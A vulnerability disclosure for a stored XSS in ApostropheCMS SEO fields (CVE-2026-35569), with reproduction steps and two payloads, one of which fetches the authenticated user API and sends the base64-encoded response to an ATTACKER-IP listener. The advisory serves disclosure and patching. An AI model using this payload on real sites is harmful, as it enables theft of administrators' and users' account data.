Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS

Summary

A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.

Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.

Affected Version

ApostropheCMS (tested on version: v4.28.0)

Vulnerability Details

User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:

• <title>
• <meta> attributes
• structured data (JSON-LD)

This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.

PoC 1

The following payload demonstrates breaking out of HTML context:

"></title><script>alert(1)</script>

This confirms:
- Improper output encoding
- Ability to escape <title> / <meta> contexts
- Arbitrary script execution

PoC 2

This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.

"></title><script>
fetch('/api/v1/@apostrophecms/user', {
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

Video Proof of Concept

Watch the following YouTube video for a full demonstration of the exploit:

PoC Video: https://youtu.be/FZuulua_pa8

Steps to Reproduce

1. Start a local listener: python3 -m http.server 5656
2. Login to ApostropheCMS as an authenticated user
3. Create or edit a page
4. Navigate to SEO settings
5. Insert the payload into the SEO Title field and Meta Description

"></title><script>
fetch('/api/v1/@apostrophecms/user',{
  credentials:'include'
})
.then(r=>r.text())
.then(d=>{
  fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>

6. Set Schema Type to "Web page"
7. Save and publish the page
8. Have an administrator visit the page

Result

• The payload executes in the admin’s browser
• The script sends a request to: /api/v1/@apostrophecms/user
• The response contains sensitive user data:
• usernames
• email addresses

• roles (including admin)

• The data is exfiltrated to the attacker-controlled server:

• http://ATTACKER-IP:5656

Evidence

• The attacker server receives:
• GET /?data=BASE64_ENCODED_RESPONSE
• Decoding the response reveals sensitive application data.

Security Impact

This vulnerability allows an attacker to:
- Execute arbitrary JavaScript in an authenticated admin context
- Perform authenticated API requests (session riding)
- Access sensitive application data via internal APIs
- Exfiltrate sensitive data to an external attacker-controlled server

## References
- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
- https://www.cve.org/CVERecord?id=CVE-2026-35569
- https://nvd.nist.gov/vuln/detail/CVE-2026-35569
- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569